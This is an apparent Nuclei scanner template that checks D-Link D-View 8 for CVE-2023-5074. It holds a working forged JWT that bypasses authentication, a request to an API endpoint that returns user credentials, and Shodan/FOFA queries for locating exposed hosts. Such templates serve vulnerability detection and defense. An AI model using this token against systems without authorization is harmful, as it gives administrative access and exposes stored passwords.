id: CVE-2023-5074

info:
  name: D-Link D-View 8 v2.0.1.28 - Authentication Bypass
  author: DhiyaneshDK
  severity: critical
  description: |
    Use of a static key to protect a JWT token used in user authentication can allow an for an authentication bypass in D-Link D-View 8 v2.0.1.28
  impact: |
    Unauthenticated attackers can exploit static JWT keys to forge authentication tokens and bypass authentication to gain administrative access to D-Link D-View systems.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2023-32
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5074
    - https://github.com/codeb0ss/CVE-2023-5074-PoC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5074
    cwe-id: CWE-798
    epss-score: 0.91802
    epss-percentile: 0.997
    cpe: cpe:2.3:a:dlink:d-view_8:2.0.1.28:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dlink
    product: d-view_8
    shodan-query:
      - http.favicon.hash:-1317621215
      - http.favicon.hash:"-1317621215"
    fofa-query: icon_hash="-1317621215"
  tags: cve2023,cve,d-link,auth-bypass,dlink,vkev,vuln

http:
  - raw:
      - |
        GET /dview8/api/usersByLevel HTTP/1.1
        Host: {{Hostname}}
        Authorization: eyJhbGciOiAiSFMyNTYiLCJ0eXAiOiAiand0In0.eyJvcmdJZCI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODA5YWEiLCJ1c2VySWQiOiAiNTkxNzFkNTYtZTZiNC00Nzg5LTkwZmYtYTdhMjdmZDQ4NTQ4IiwidHlwZSI6IDMsImtleSI6ICIxMjM0NTY3OC0xMjM0LTEyMzQtMTIzNC0xMjM0NTY3ODkwYmIiLCJpYXQiOiAxNjg2NzY1MTk4LCJqdGkiOiAiZmRhOGU1YzNlNWY1MTQ5MDMzZThiM2FkNWI3ZDhjMjUiLCJuYmYiOiAxNjg2NzYxNTk4LCJleHAiOiAxODQ0NDQ1MTk4fQ.5swhQdiev4r8ZDNkJAFVkGfRTIaUQlwVue2AI18CrcI

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "userName") && contains(body, "passWord") && contains(body, "isEmailActivate")'
          - 'contains(header, "application/json")'
        condition: and
# digest: 4a0a00473045022100ae6e301efe7e80a125bc5e49ddda6ebcad326501b8801c88abb95bca269093060220407ef1d579e5ed8f5b4b363ef9abde35c67a4721936c9daf5f6f8756f4f0bb1b:922c64590222798bb761d5b6d8e72950